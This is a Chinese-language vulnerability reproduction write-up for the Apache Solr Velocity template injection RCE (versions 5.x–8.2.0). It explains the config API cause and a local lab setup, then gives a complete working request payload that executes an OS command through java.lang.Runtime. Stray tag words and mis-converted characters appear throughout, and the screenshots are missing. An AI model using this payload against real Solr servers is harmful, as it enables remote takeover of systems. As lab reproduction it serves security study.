Apache Solr Velocity模板注入RCE漏洞復現

Apache Solr Velocity模板注入RCE漏洞復現java

1、Apache Solr介紹git

Solr是一個獨立的企業級搜索應用服務器,它對外提供相似於web-service的API接口,用戶能夠經過http請求,向搜索引擎服務器提交必定格式的XML文件,生成索引,也能夠經過http get操做提出查找請求,並獲得XML格式的返回結果。github

2、漏洞描述web

Solr中存在VelocityResponseWriter組件,攻擊者能夠構造特定請求修改相關配置,使VelocityResponseWriter組件容許加載指定模板,進而致使Velocity模版注入遠程命令執行漏洞,攻擊者利用該漏洞能夠直接獲取到服務器權限。apache

漏洞產生緣由:瀏覽器

當攻擊者能夠直接訪問Solr控制檯時,能夠經過發送相似/節點名/config的POST請求對該節點的配置文件作更改Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否容許參數資源加載器在Solr請求參數中指定模板,默認設置是false。當設置params.resource.loader.enabled爲ture時,將容許用戶經過設置請求中的參數來指定相關資源加載,這也就意味着攻擊者能夠經過構造一個具備威脅的攻擊請求,在服務器上進行命令執行。服務器

3、漏洞影響版本搜索引擎

Apache Solr 5.x - 8.2.0,存在config API版本lua

4、漏洞環境搭建spa

一、 安裝java環境

  

二、下載Apache Solr 8.2.0,下載地址: https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

三、解壓而後進入bin目錄執行solr.cmd start

  

四、瀏覽器訪問192.168.10.171:8983,環境搭建成功

  

5、漏洞復現

一、從新啓動,再次訪問192.168.10.171:8983/solr發現沒有建立core, 先手動在/server/solr/目錄下建立一個test的文件夾,而後將/server/solr/configsets/_default/下的conf目錄拷貝到test目錄下

  

 

   

二、而後按照以下圖所示建立一個名爲test的core

  

三、而後訪問查看該應用config文件是否能夠訪問

  

四、Apache Solr默認集成VelocityResponseWriter插件,該插件初始化參數中的params.resource.loader.enabled默認值設置爲false,可是能夠經過POST請求直接修改集合設置,將其設置爲true,而後就能夠構造特殊的GET請求來實現遠程代碼執行。

  

五、接下來咱們就能夠構造payload來實現RCE

Payload以下:

/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

  

 

 

 

 

-----------------------------------------------------------------------------------------------------

參考:

POC地址: https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

相關文章
相關標籤/搜索